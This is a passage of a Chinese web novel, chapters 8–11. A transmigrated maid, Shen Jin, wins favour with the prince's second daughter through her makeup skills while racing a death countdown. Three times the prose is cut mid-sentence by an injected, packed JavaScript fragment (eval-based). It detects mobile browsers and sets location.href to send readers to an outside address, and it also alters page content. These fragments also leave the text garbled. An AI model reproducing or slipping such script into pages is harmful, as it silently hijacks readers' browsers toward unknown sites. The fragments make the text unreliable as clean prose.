“多谢二小姐赏,这化妆啊,是我应该做的。二小姐本身就天生丽质,雅竹妆才画的这么好看。” 虽然这确实是沈瑾的功劳,但场面话还是要说的。 “瑾姐儿你总是这么谦虚。这次多亏了你,画得妆好漂亮,王爷今天对咱们小姐可满意了。好像还想给二小姐相看贵婿呢。” 沈瑾听了,心里一跳。 依照楚王爷的脾性,肯定是联姻都城的权贵人家。到时候,她沈瑾且不是就能陪嫁到都城去了? 这是······ 机会来了啊! “嘘————,这事你可不能乱说出去啊。咱们小姐这事啊,还只是个影呢,没落到实地儿,若是大家都知道了,有人暗地里使绊子,怎么办。” 叶果语重心长地对沈瑾嘱咐道。 虽然这句话说得好像不相信沈瑾一样,但沈瑾知道她护主,对二小姐极其忠心,不是刻意针对,所以并没有往心里去。 “我不会说出去的,定能保守秘密,叶姐姐,你放心。” “更谢谢叶姐姐,这么晚走来,劳累姐姐了。姐姐进来屋里坐坐,吃吃果子吧。” 沈瑾是很有眼力见的。 叶果刚才不过是站着挪动了两下脚,沈瑾便意识到了这一点。 “不了不了。我还得赶着回去禀告二小姐呢。” 叶果摆了摆手,示意不坐了,但脸上却闪过一丝兴奋,叶果一把拉住沈瑾的胳膊,小声地说: “瑾姐儿,你附耳过来,我告诉你个事儿。” “什么事呀?” 沈瑾看她弄得神神秘秘的,也好奇起来,便顺着她的意思,俯身靠了过去。 “两周以后,就是下个月月初,大夫人要在府里设选试,公开挑选各院姑娘的梳妆陪嫁!” 叶果一边说,还一边对着沈瑾挤眉弄眼的。 “这选试······怎么了吗?” 难道是有什么奇怪之处?为什么叶果弄得这么神秘兮兮的。 8. 第 8 章 “哎呀!你怎么就不明白呢?” 叶果恨铁不成钢地点了点沈瑾的小脑袋瓜。 姑娘院子里若是想要添个小丫鬟,可以自行调动,但登记入册,成为真正的姑娘院里人,还得大夫人王氏点头。 所以,二小姐秋娘如果想把沈瑾要到自己的院子里来,当梳妆丫鬟,还得求得大夫人允许。 但是梳妆丫鬟可不是普通的打杂的婆子,这关系到主子们的脸面。 主子们出门待客,大多得靠妆娘画妆。 大夫人王氏可不会轻易同意,一个才进梳妆房的小丫鬟,去给主子当妆娘。 但, 恰巧, 大小姐春娘的婚期临近,却还没有合适的梳妆陪嫁。 王氏爱女心切,想给她找一个手艺最好的妆娘。 所以,便在王府设了选试,不拘来路、身份、年龄,无论是府里的还是府外的妆娘,只要妆画得好,就能跟着春娘去都城侯府。 本来,这选拔妆娘,只是为了大小姐春娘,但王氏随手在府里扒拉了一下,发现二女儿也缺个梳妆丫鬟,图个省事,免得以后再费劲选拔,干脆这次一起选了算了。 若是当个普通的丫鬟,这次选拔,沈瑾不用去。 但,沈瑾要跟着去都城,就得挤进二小姐的陪嫁队伍,而陪嫁的丫鬟都是登记造册了的。 凡是记名的丫鬟,都得王氏点头。 所以,这次选拔妆娘,沈瑾非去不可! 叶果今晚带着消息来,也是为了提前告诉沈瑾,好让做做准备。 “瑾姐儿,你可得好好准备。我相信你一定能过选的,到时候你可要到我们院子里来啊!” 叶果早已把沈瑾当做了自己人,诚心实意地想要沈瑾到二小姐院子里来。 “谢谢叶姐姐,我肯定好好准备,我可喜欢二小姐啦,咱们定在一个院子的。” 沈瑾眨了眨眼,两人会心一笑。 “叶姐姐慢走,夜深了,注意脚下。” 送别了叶果,沈瑾便回到屋子里。 养母趴在方桌上,醉得不省人事,鼾声如雷,看起来,是不用打水了。 沈瑾换了衣服,躺在木板床上,一点都不担心,很快就合眼睡着了。 ‘王氏选梳妆陪嫁’这样的重磅消息,仅仅只是在她脑海里转了一圈。若是换成别人,早就难熬得辗转反侧,焦虑失眠。 但她沈瑾不一样, 直接拿捏。 【死亡倒计时:79天】 翌日,沈瑾用过朝食,就早早地去梳妆房上工了。 每次去上工,沈瑾都会早去一会儿,堪称穿越版卷王。 因为沈瑾想让宋娘子看到她的积极性,宋娘子一高兴,说不定又能多教几个正妆给她。 毕竟距离梳妆陪嫁选拔,只剩两周了,能多学点,总归是好的。 沈瑾是第一个到的,推开梳妆房的大门,掸了掸门口落下来的灰,才踏进去房里。 梳妆房里安安静静的,地上散落着昨日没处理完的胭脂碎块,甜腻的香味打着圈儿地缠在了沈瑾身上。 沈瑾走过去,蹲下身来,准备把这些胭脂碎块都收拢喽,等宋娘子一来,就能看见她干了活。 只不过,人算不如天算。 沈瑾活都干完了,昨日学的正妆画法也复习了,就连鱼都摸了一上午了,还是没见着宋娘子母女俩到来。 到底发生了什么? 沈瑾一头雾水,也没接到消息说今天不上工啊。 但在这里干等也不是个法子,眼看着日头就要到中午了,沈瑾干脆落了门锁,回家去了。 回去的路上,绕了个弯,去大厨房拿了今天金嬷嬷和她的份例。 一小碗肉沫炒豆子、一碗油煎豆腐、还有两碗白米饭。 这楚王府确实辉煌过,要不然也不会到现在,都还能让下人吃白米饭,但也确实落魄了,带肉的荤菜只有小小一碗,还是豆子居多,肉沫零星一点掺在里面。 沈瑾如今这具身体只有十岁,长得瘦弱,手更是小小一只,然而这一碗肉沫豆子,只能勉强盖住她的手掌罢了。 上午在梳妆房等了宋娘子母女俩很久,所以今天较以往回得晚一些,再加上绕路去大厨房,便多费了一些时间。 沈瑾本以为金嬷嬷等久了、饿极了,会冲她撒气。 没想到,一进角屋的门,还没落座呢,就被闻声赶来的金嬷嬷堵了个正着。 金嬷嬷脸上没有一丝一毫的愠怒生气,反而神采奕奕,两只浑浊的眼睛发着光似的: “快,快进来,好女儿,你今天见到宋娘子了吗?” 金嬷嬷脸上充满了八卦的神情,显然是跟那些婆子闲聊没够,还想嚼舌根,她的心思已经迫不及待了。 “娘,我在梳妆房等了一上午,都没看到宋娘子她们。”沈瑾顺着话说道。 “哎呀,你当然见不到啦,那宋娘子今儿个一大早就被大姑娘的人捉去了!” 金嬷嬷的声调越说越高:“那大姑娘身边的翠玉,带着十几个膀大腰粗的婆子,撞开了宋家的门,直接冲了进去!” “嘴里还嚷嚷着什么,‘叫你个老虔婆不好好画妆,竟然敢糊弄咱们姑娘,要你的老命!’。” 说到兴奋之处,金嬷嬷手舞足蹈地比划起来。 “哎呦喂,那场面,啧啧啧······” 金嬷嬷的八卦反倒让沈瑾心里产生了危机感。 这显然是宋娘子犯了什么事啊,如果这次宋娘子被打发出府,梳妆房的管事娘子就要换人。 那她之前送的礼且不是白送了? 马上就要选梳妆陪嫁了,这个节骨眼上可不能出什么乱子。 虽然沈瑾目前还只是一个没有势力的小丫鬟,但为了自己的命, 豁出去了! 沈瑾打算,若是宋娘子被问责,要打被发出府去,她就站出来,帮宋娘子撑腰。 即使人微言轻、有风险,但她沈瑾不是那样苟且猥琐之人。 “哎哎哎!!!开门啊,有消息了,金老货,你猜那宋家的怎么着?” 一道粗哑的声音从东角屋外头传来,尖锐的声调刮的人耳朵疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“听说啊,罚了一整年的月钱了事。”佟婆子说得口都干了,随手端了一碗烧酒囫囵喝了。 金嬷嬷失望地嘁了一声,没意思,也跟着一起喝酒去了。 沈瑾听完了整场对话,对宋娘子的职位情况也有了数,心里松了一口气。 看样子,是不用再攒钱讨好新人了。 不过,宋娘子不是想把女儿脂奴塞进大姑娘的院子当陪嫁嘛,怎么会动手害大姑娘呢? 嘶————,还真是个迷。 日头从正中滑到了西边,沈瑾得去梳妆房签个下值的名,今天才算完工。 临出门前,想了想,沈瑾还是带上了梳妆房的钥匙。 万一宋娘子两人还是不在呢。 很快就到了梳妆房,脂奴已经坐着在干活了,正调些香粉。 只不过红红的眼角和没擦干净的泪痕,还挂在脂奴脸上。 “瑾姐儿来了,过来这边吧,今天活少,就先不干了,来听我讲课。” 宋娘子从屏风后面转出来,面色苍白。看见沈瑾来上工了,便招呼了她一声。 不过,这次招呼,比以前热情积极得多,竟然还主动提起教沈瑾画妆。 “今天教的是,接待各方亲戚来客,大宴会的正妆······” 9. 第 9 章 宋娘子一边教,一边在自己脸上试画,很是细心。 “小姐们将来去婆家掌庶务,作为都城高门的夫人,要画稳中带锋的眉型······” 这次教画正妆,竟然教了给夫人画妆的技巧。 虽然不多,只是点到为止,顺带讲了两句,但这可是宋娘子能独自掌管梳妆房、稳居不倒的秘籍啊,以前可是一丁点都不让沈瑾知道的。 其实,沈瑾也能理解宋娘子今天的做法。 毕竟,在妆容上动的手脚被发现了,得罪了大小姐春娘。即便有大夫人王氏保护,她的女儿脂奴想竞争陪嫁,也很难。 这个时候,若是卖点人情给沈瑾,透露出一丝有机会学秘籍的风声,就能钓着沈瑾,确保沈瑾不和她女儿脂奴抢陪嫁位置,减少一个竞争对手。 不学白不学,沈瑾很有眼力见的顺势上钩了。 沈瑾并不是贪图那点子独门秘笈,而是想多学点正妆技巧。 而且这正合了沈瑾的心意,她一点儿也不想去春娘的院子。 此时,懂事地主动上钩,既能多学些画妆规矩,又能拉拢宋娘子,还能刷点好感,减少被针对的风险,简直一石四鸟啊! “你们都是梳妆房的人,将来去了别处,也要相互扶持。” 宋娘子教完了画妆,并没有按照往常惯例,赶沈瑾回家、落锁下值。而是淡淡地说了一句敲打的话,一边说,一边盯着沈瑾瞧。 意思不言而喻。 沈瑾也很知趣,马上接话道: “感谢宋娘子教我,脂奴画妆画得比我好多了,必能去都城享福,以后还请脂奴多照顾我啊。” 沈瑾这句话意思就是,表明自己仍然不会跟脂奴抢,春娘的陪嫁位置。 真不愧是能在美妆博主赛道杀出重围的女人,人情世故,拿捏! 宋娘子听了,满意地笑了,对沈瑾更热情了,贴心地说: “好瑾儿,你们以后就是姐妹了。天黑了,冷得很,你早点回去歇着吧。” “宋娘子,您也早点休息。”沈瑾也回应了一句。 现在已是仲冬,天黑得早,越发的冷了。 沈瑾裹了裹身上的棉袄,缩着身子,快步回家去了。 东角屋里点着油灯,亮堂堂的,金嬷嬷陶醉的笑声一阵阵传来: “嘿嘿,嘿嘿~~” 推开门,满身酒气的金嬷嬷靠在方桌旁,怀里搂着几十个铜板,嘴里还叼着一个铜钱,正意识不甚清醒地用后牙槽,使劲地咬铜板。 “钱!嘿嘿,我的钱,是真的······” 房门被推开的吱呀声,在深夜里很是明显。金嬷嬷知道是沈瑾回来了,立刻抬头: “我的好女儿,好女儿,快来坐。真是没白养你,可算看到回头钱了。” 原来今天下午,楚王爷正院里来人,带来了之前王爷赏的一个月的月钱。 当时沈瑾恰巧去梳妆房上工了,只有常年溜号、偷懒不干活的金嬷嬷在东角屋躺着。 这赏钱就落在金嬷嬷手里了。 钱进了养母的嘴里,还想让她吐出来?没门! 沈瑾知道养母是个什么样的人,明白这个道理,也不争辩什么,只哄着她说: “知道娘养我辛苦,这赏钱是女儿专门为了娘,赢回来的,孝敬娘。” 沈瑾一边哄她,一边趁机会又给她倒了两杯温酒。 温酒喝多了,醉得快。 “哈哈哈哈,没白疼你,以后给小姐画妆,勤快点,多要点赏钱回来,都给我,知道吗?” 金嬷嬷听了沈瑾的奉承,浑身舒坦,爽得都飘了,直接大口猛喝了几碗酒。 其实,金嬷嬷从未疼爱过瑾姐儿,只算是给了口饭吃而已。 但沈瑾不想在这个时候计较那么多,只专心一步一步实现自己的‘救命计划''。 “这赏钱,娘拿去吃酒。以后女儿的赏钱肯定越来越多,都是娘的。” 看势头正好,沈瑾赶紧又助推了一把。 养母贪财,沈瑾就利用这个弱点,用银钱哄住她。 免得她挡了自己进都城的路。 上次叶果带过来的赏钱、这次楚王爷赐的月钱,都给了金嬷嬷。 加起来,约摸着有一百个铜板。顶金嬷嬷半个月的月钱了。 虽然不多,但实打实的,是吃到嘴的甜头。 免费白得的。 金嬷嬷满意得很。 前些日子,还一直嘟囔着瑾姐浪费钱,瞎花了她二两银子,扔水里都没个响声。 如今,笑得红光满面,捂着荷包不撒手,还时不时的掏出一两个铜板咬一咬。 “好,好,都是我的,我的,嗝!” 温酒的酒劲很快就上了头,金嬷嬷的意识越来越模糊,撑不住酒劲,倒在桌上醉晕过去了。 临睡前,嘴巴里还诶诶呀呀地嘟囔着,说的什么也听不清,只是那捏着钱袋子的手还紧紧地握着。 钱到位,金嬷嬷以后不会再对沈瑾有威胁了。 【死亡倒计时:78天】 仲冬的天儿亮得越来越晚,虽已辰时,但还没见着太阳。 早起的沈瑾轻手轻脚地穿好了衣服,是昨天刚晾干的厚棉裤子,酱棕色的,塞了不少棉花。 楚州地处南疆,冬天雾多、湿气大,太阳也不温不火的,衣服难干的很,这棉裤子晾三四天了,摸着终于不潮了。 点着灯,掀开里屋的帘子,来到外屋。 沈瑾收拾好昨夜金嬷嬷喝醉酒留下的脏碗和空酒壶,洗干净手,取下挂在东边墙角的竹篮子,随手摸了几个铜板。 打算像往常一样,去早市买点吃食。 门外呼呼的北风卷着清晨的大雾,撞向东角屋的大门,吹得窗棱哐哐作响。 仔细听,吱嘎作响的声中似乎还掺杂了几下敲门的动静: “瑾姐儿,瑾姐儿,起来了吗?” 二小姐院里的叶果,正着急地敲着门,神色透着一丝慌乱。 一身绸子厚裙袄很是凌乱,扣子都没对齐,头发也只简单盘了盘。 这么大清早,急急忙忙地跑来,发生什么事了? 刚推开角屋门,一抬头,沈瑾就看到了眉毛皱在一块儿,模样着急的叶果。 “叶姐姐,早上好。” 沈瑾把门完全拉开,请叶果进屋躲会寒风。 “叶姐姐,外面天冷,进来坐会儿,喝口热茶。” 茶是昨夜烧热的,滚烫,放在汤婆子里捂着,现在还是温的呢。 “还好你在家,瑾姐儿,你若是无事,快跟我去小姐院子里吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876037|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶果说着说着,就上手拽住了沈瑾。 “本是打算去北街的早市买点吃食的,但如果二小姐有用得到我的地方,我这就前去二小姐院里。” 沈瑾立刻取下胳膊上挎着的竹篮子,放到方桌上。 沈瑾,看情况,猜测这次应该是一个,刷二小姐好感度的,极好机会,绝不能错过。 吃食先放一边,救命要紧啊!别忘了,她头上可是悬了一把‘三个月就死’的大刀呀! “可是要给二小姐画妆?还请叶姐姐告诉我,咱们小姐要出席什么场合?” 兵马未动粮草先行、磨刀不误砍柴工。 想要画出合适又惊艳的妆,必须先了解二小姐要去哪里、干什么。 “瑾姐儿,不愧是你啊,一下子就猜到了。待会儿咱们小姐就要去王爷书房听训了!” 说是听训,其实是考察,楚王爷要考察二小姐秋娘的诗书学问。 因为国公府的老爷想寻摸个,知书达礼的儿媳。 昨夜,各院主子们都去给回府的楚王爷请安。二小姐秋娘凭借一副清雅文美的妆容,首次入了楚王爷的眼。 再加上,二小姐喜静,多年来,总是待在自己院里品读诗书,不常与人来往,一身的书卷气。 简直是照着,国公府老爷子的要求,刻出来的儿媳模样。 当晚,二小姐一出现,就吸引了楚王爷全部的注意力。 楚王爷两颗眼珠子就差粘在秋娘身上了,满脑子想的都是‘发达了’。 他楚王的好日子终于要来了啊! 只要他把二小姐秋娘卖给,啊不,嫁给国公府那个纨绔次子,他楚王就可以靠着这份姻亲关系,在都城走动,重回都城的权力圈子。 次子纨绔废物,名声极差,找个合心意的媳妇可不容易,都城贵女都不愿意嫁。 国公爷已经为这事头疼了几个月,在都城,把老脸都丢尽了。 这个时候,他楚王,雪中送炭,送的还是一个方方面面都合乎要求的贵女儿媳。 王室血脉、身份高贵,饱读诗书、气质清雅。 妥妥拿捏国公爷。 国公爷甚是疼爱这个不成器的次子,只要成了亲家,爱屋及乌,还怕国公爷不照顾他这个次子的岳父? 到时候,他就可以用手中的权力,狠狠地捞把大的。香车美酒,教坊司的漂亮美人随便他楚王玩。 他楚王实在是落魄了太久啊。 楚王爷心里美得仰天大笑,事情八字还没一撇,就先在脑海里爽了一遍。 激动得肚子上的肥肉不住地颤动。 恨不得当场就把二小姐秋娘打包,连夜快马,八百里加急,送到国公府门口。 只不过,碍于当时正院里人太多,各房姑娘、少爷、夫人都在场,正在给他请安。 这事也还没正式定下来,人多口杂,怕坏了事。 这件事对于楚王来说,是改命的大好事,生怕传出去了,别人跟他抢,或者坏他好事。 虽然,并没有人跟他抢。 所以,才在昨晚勉强忍住了,没有当场说出来。 但也忍不了多久。 请安的主子们刚散去,楚王就派人直奔二小姐的院子,告知秋娘,第二天一早去书房听训,他楚王要考察考察秋娘的学问。 10. 第 10 章 送走了传信的管事,已是深夜。整个王府都安静了,沉睡在星幕中。 二小姐性子好,总是为下人着想。 不愿让自己的贴身丫鬟这么晚去跑腿,也不想打搅瑾姐儿的好梦,就拖延到了今天早晨。 这就有了早上那一幕,叶果急忙慌地跑来东角屋敲沈瑾的门,跑的头发都散了。 二小姐对下人们的关爱,在阶级森严的封建社会,实属难得。 二小姐秋娘和叶果对沈瑾的信任,更让沈瑾心里感动。 美妆事业刚火,就猝死魂穿古代,一来就面临三个月死期,这样地狱难度的开局,沈瑾并不害怕,但终究是有点累的。 在这陌生的景朝,能有一两份关怀,万幸矣。 沈瑾不想让这么好的二小姐,一直不受宠的在王府待下去。如今有了往上爬的机会,可要抓紧了。 再者,秋娘嫁进都城,可是关系到她的救命计划呢。 想到这儿,沈瑾也不管金嬷嬷的早食了,反正昨夜养母喝了很多温酒,睡得沉沉的,一时半会醒不来,估计不用吃早食。 沈瑾站起来系紧鞋带子,又套了件厚袄子,就拉着叶果冲出了东角屋,奔着二小姐院子去,跑得飞快。 本来是叶果着急地拽着沈瑾的胳膊,现在倒换成沈瑾拉着叶果了。 叶果一开始有点不知所措,但随后就欣慰地笑了。她点点头,仿佛认可沈瑾一般,也回握住了沈瑾的手,两人一起向前跑去。 背影看起来,欢快又和谐,生机勃勃。 二小姐院子虽然偏远,但清晨天还没亮,王府里没什么人在走动,跑了两三分钟,就到了秋娘院里。 “二小姐,我来了,给您画妆来了。” 沈瑾给二小姐行了个礼,打了个招呼,就准备开始画妆。 二小姐性子确实好。 早上叶果慌慌张张地跑去东角屋找沈瑾,压根没准备画妆的胭脂水粉和工具。 但沈瑾一进二小姐厢房,就看到桌上一字排开,整整齐齐地摆着脂粉刷子。 “瑾姐儿来啦,这次又要辛苦你了。这些水粉唇彩什么的,我已经摆好了,你看样子画就行。” 秋娘微微一笑,温温柔柔的。用手轻轻推了推桌前的绣花矮凳,示意沈瑾坐着画妆。 “小姐,听说您今天是去面见王爷,还是在书房,那想必是跟考察学问有关。” “今天便给您画个书卷气的妆,刚好搭您这身梅花纹的裙子。” 沈瑾一边给二小姐讲着这次画什么妆,一边从桌上拿了个梅花面脂。 二小姐秋娘今天起得比往常早,脸上还带有一丝睡眠不足的苍白。梅花面脂柔和的红色刚好可以中和这份苍白,显得秋娘气血充盈。 气血足证明身体好,身体好就可以顺利联姻,完成楚王的发达心愿。 楚王爷卖女求荣之心迫切得很,非常看重能否顺利出嫁。 大小姐春娘就是一个典型的反面例子,因为画了一副灰扑扑的妆,就被怀疑身体抱恙、阻碍出嫁,引得楚王不喜。 所以,雪白的肌肤藏点若有若无的俏生生的红,绝对能完美达到楚王爷心里那杆秤。 唇彩也用了水嫩梅红色,十分应景。 一头靓丽的黑发,常被认为是身体健康的象征,同样的道理,深色的眉,也是年轻的标志。 所以,搭配梅红主题的妆容,沈瑾为二小姐选画了深色的螺黛。 弯弯一斜柳叶眉,汪汪一水杏仁眼,二小姐缓缓抬眼望去,镜子里的人儿,如诗画里的仕女,展开笑颜。 “这,这,我竟有这般颜色?” 二小姐简直不敢相信镜子里的人就是她,毕竟以前她的风格,说得好听点就是朴素淡雅,直白点就是纯素颜。 常年静居读书、不见户外阳光的苍白肤色,嘴唇也没什么血色,看起来就不是什么健康有力的样子。 但这个妆容一画,瞬间换了一张脸。什么‘苍白、缺血’全都没了,只有一个健康十足、唇红齿白的秋娘! 好看得让人挪不开眼! “好瑾儿,今日这妆如此之好,可有名字?” 二小姐的喜爱之情,溢于言表,当即追问妆名,心里想着以后若有机会,还要再画这个妆。 “回二小姐,早上我只想着快点赶来给您画妆了,还没来得及给这个妆容取名字呢。” “若是有幸,还请小姐赐名。” 其实,这妆容早就有名字了,叫‘雪生红’。 沈瑾在现代就画过这妆,当时也是在古偶流量明星中,引起了争先恐后的追捧,粉丝们都留言求着沈瑾给自家哥哥姐姐画妆! 但现在,当着二小姐的面,肯定不能这么说。 沈瑾很有眼力见地读懂了二小姐话里暗藏的意思。 马上顺着氛围,主动递了个台阶,要二小姐秋娘给这个妆容取名字。 “这妆以梅花为底色,又恰逢冬季,就叫雪梅吧。” 二小姐看见沈瑾主动递话,心里对她真是满意得不得了。这样机灵、有眼色、会说话,还画得一手好妆的丫鬟,哪里找得到别人? “谢谢小姐赐名,实乃我的荣幸,这个妆容以后就是我的压箱底的珍宝了,只给小姐画,别人都不画的。” 你来我往。秋娘赐了名,沈瑾肯定要给予积极的回应 情绪价值,这一块,沈瑾门儿清。 当初,做美妆博主,客似云来,除了自身本事硬,让客人开心可是占了很大比例。 二小姐听了,开心得脸上都透出了红晕,指尖微微点了点: “你这个嘴甜的丫头,喏,绢花拿回去戴着玩吧。辛苦你给我画妆了。” “叶果,带瑾姐儿去库房支点钱,她画得好,我想赏给她。” 叶果应声起身,招招手,示意沈瑾跟她走: “瑾姐儿,这边来。穿过这道弯月门,就是咱们小姐的库房了。” “别看咱们小姐不受宠,但小姐平时节俭,没有什么花销,所以库房还是丰富的。你来咱们院子里,赏钱肯定少不了。” 叶果一路走、一路向沈瑾灌输二小姐秋娘的好处优点。 特别努力地劝说沈瑾加入二小姐院子里来。 现在看,沈瑾似乎已经进定了秋娘院子,但毕竟还没登记造册,叶果还是有点担心她跑了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876038|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈瑾画妆画得这么好,要是入了别的小姐眼,肯定被抢走。 就比如那个春娘,什么好东西都要抢到她院里去。 叶果心里越想越气,也越想越慌,怕沈瑾真的被抢走,到时候小姐哪里再寻得这般好的妆娘。 叶果决定,私底下在库房多给沈瑾支点赏钱,这样应该可以拉拢叭。 其实用不着多给赏钱,沈瑾是绝对会跟着二小姐的,她一定要挤进二小姐的陪嫁队伍里。 毕竟这关乎到她能不能活命啊! “这赏钱是不是太多了,叶姐姐,为小姐画妆是我的本份,我不要这么多的。” 沈瑾看到叶果竟然一下子从库房拿了一整串铜钱,惊讶地睁大了眼睛。 足足两百个铜板,相当于二钱银子了,就是金嬷嬷她们那样老资历的婆子才有的月钱额度。 自从她穿越进这具身体里以来,这是她拿到赏钱金额最大的一次了。 “不,你值得这么多。小姐肯定也是同意的。你画妆手艺好,还对咱们小姐好,我们院子都感谢你。这赏钱,你就拿着吧。” 叶果说得十分真诚,手上不停地把铜钱串往沈瑾怀里塞。 这也确实是她内心的真实想法。她真的很希望沈瑾能到她们院子里来。 看情形,再推拒下去,就不太合适了。沈瑾也不想让叶果误会自己有二心,不想来二小姐院子,就顺势收下了赏钱。 “谢谢叶姐姐,劳烦姐姐带我来库房了。姐姐若是有想化妆的时候,不用管什么日子,直接喊我就成。” 关系是互相拉近的。叶果示了好,沈瑾自然也会好好接着。再递个由头回给叶果,这样大家就都有了相互往来的理由,以后自会更亲近一些。 沈瑾拿完赏钱,返回去给二小姐谢了赏,就离开院子,往梳妆房上工了。 由于一大早就去给二小姐画妆,耽误了平常去上工的时辰,来得稍晚了一点。 梳妆房里,宋娘子母女俩已经上值好一会儿了。 宋娘子,拉长了脸,嘴角下撇,很不满意地看着才走进来的沈瑾。 沉默了一会,终究没有说什么,只挥挥手,让沈瑾一边忙去了。 沈瑾自己来迟,对宋娘子是有好处的。 有些独门秘籍,就可以趁这个时候单独讲给脂奴,沈瑾听不着。 学得少,就比不过脂奴,到时候梳妆陪嫁的选拔就没有什么威胁。 宋娘子估计是想到了这一点,所以才把教训人的话吞进了肚子里,沉默地让沈瑾自己忙活去。 其实,这次迟到,是沈瑾故意的。 沈瑾早就算到了这一点。 早在清晨,叶果急慌拉她去给二小姐画妆的时候,沈瑾就计算了时间。肯定无法准时到梳妆房了。 但这没关系,反而非常好。 沈瑾要的就是降低宋娘子的警惕,‘自甘堕落’意味着没有威胁。 这样,在陪嫁选拔前,宋娘子才不会给她使绊子。 梳妆房里安安静静,没有言语地都在干活。 那边,二小姐正要出发去楚王爷的书房。 到时候了······ 11. 第 11 章 “秋娘请父王晨安。” 二小姐踏进书房后,款款行了个万福礼,给楚王爷请安。然后便默默地站在书房靠门口近的地方,微微侧身、低着头。 秋娘的这些小动作,本意是不想与楚王爷交流过多,只期望父王快点考察完自己的学问,就让自己退下。 但无心插柳柳成荫。 初升的太阳,透过窗子,洒进来丝丝金缕,照在二小姐白里透红的脸颊上,细小的绒毛仿佛在发光。 沈瑾给二小姐画的妆容‘雪生红’,在此时发挥了它的最大效益。 生机勃勃的模样,活灵活现,再融合二小姐的书卷气质,深深地映在楚王爷的眼里。 健康!很健康!肯定能顺利完成联姻。 此刻,楚王爷心里只有这一个念头。 “秋娘啊,今天你的气色很好,看起来很健康啊。不错,不错,就是要这样,身体康健是最重要的。” 楚王爷满意地摸了摸自己肥肚子,笑得格外‘慈祥’: “有什么想吃的、想喝的,尽管和我说,王府全力给你供应啊。” 这话说得好像,大夫告诉将死之人,去吃好喝好一样。又像是上刑场前夜的断头饭,甚是诡异,就不像一个父亲该对女儿说的。 但楚王丝毫不觉得,还在用力地表演慈父角色:“我前日才带回来几根人参,响午我派人送你院子里去啊。” 楚王面上依旧笑眯眯地拍着二小姐的手,但脑子里却突然有点迷糊,这个二女儿的院子在哪里来着?南院?东院? 嘶——?怎么没有映像?唉,都怪这个女儿总是畏畏缩缩地躲在后面,连住哪个院子都不说。 算了,不管了,待会让管家看着办吧。 “多谢王爷关心女儿,秋娘不甚感激。”二小姐再次伏身行礼,简单回应了一句。 二小姐秋娘嘴笨,又不是那愿意弯弯绕绕的性子,所以就只回了个面子话。 若是换成别的姑娘少爷,此时怕是已经把楚王爷捧上天了,夸得五迷三道的。甜言蜜语、花式马屁,不要钱地往外哗啦啦倒。 楚王爷也知道这个二女儿的脾性,随意地抬了抬下巴,示意秋娘起身。 “女儿啊,今天这妆容很适合你,还是你那个梳妆丫鬟画的?” 楚王端着茶碗,啜了一口,随口问了一句。 看似随口,实则特意。 如果这妆还是沈瑾画的,那就证明,这个丫鬟是有真水平的,能一直稳定地给秋娘改头换面。 对于楚王的嫁女计划来说,很是有利。 “回王爷,今天的妆,还是瑾姐儿画的。” 问什么答什么,二小姐的回答总是一板一眼的。 “嗯,不错不错。以后就都让这个丫鬟给你画妆。” 二小姐听了这话,连声应下。虽然低着头看不清表情,但心里很是雀跃: ‘太好了,这下瑾姐儿到我院里,十拿九稳了,只要娘亲再点头,这事就定了。’ 秋娘正快活地畅想着呢,就听见楚王爷清了清嗓子: “嗯,咳咳,秋娘啊,你知道吧,我今天叫你来,是要考察考察你的学问。《诗经》读了没啊?” 楚王爷虽然贵为皇室血脉,但从小便不学无术,懒得看书,整天只知道滚去烟花之地玩妓子,连四书五经都认不全。 幸亏生在了帝王家,否则这辈子都是个泥巴地里打滚的混混。 投胎技术是他这辈子最高光的时刻。 但也仅限于此了。 《诗经》是楚王爷为数不多的,还能认识书名的典籍。所以,这次考核,楚王爷才会选择考它。 “回王爷的话,女儿已经熟读诗经,还请王爷考察。” 二小姐秋娘这些年读了不少书,《诗经》是早年间就背诵过的启蒙教材。 虽然不打算争抢表现,但也不想让父王失望,所以秋娘在听完楚王爷的问话后,立刻就接着回答了。 楚王爷满意地点点头: “嗯,不错啊,那你背一背这几句,关关···额在水一····咳咳,额你就背第一篇吧。” 楚王本想装一装,显示自己的‘博学多才’,在女儿面前耍一耍威风。 但他实在草包,前面就说过,认识《诗经》的书名,真的一点没夸张,确实就只认识书名! 里面的诗歌篇章,是一篇都不懂,只知道几个常用字罢了。 磕磕巴巴地,皱着眉头,翻了好几页的书,都没找到能顺利让他嘚瑟一把的篇章。 场面很是尴尬,在卡壳了几分钟后,楚王强行挽尊,直接让秋娘就背第一页。 “是的,王爷。女儿这就背,关关雎鸠,在河之······” 二小姐秋娘的听力好得很,当然听到了楚王爷的翻车之语,但此时可不能揪着这点不放,若是让楚王丢了面子,惹恼了他,那可吃不了兜着走。 于是就当做没听见,默默地背起诗来。 尴尬的氛围慢慢消散,这事就盖过去了。 楚王虽然心里有些不满意,这个二女儿甚是没眼力见,木讷得很,连句好听的话都不会说,但至少书读得还不错,还算是有些叫高价卖出去的资本。 胸口有些堵,但‘为了自己的权力前程’,楚王还是决定不批评这个没脑子的二女儿了。 ‘我可真是大度啊,乃景朝第一好父亲矣。’ 楚王自我感动地想着。 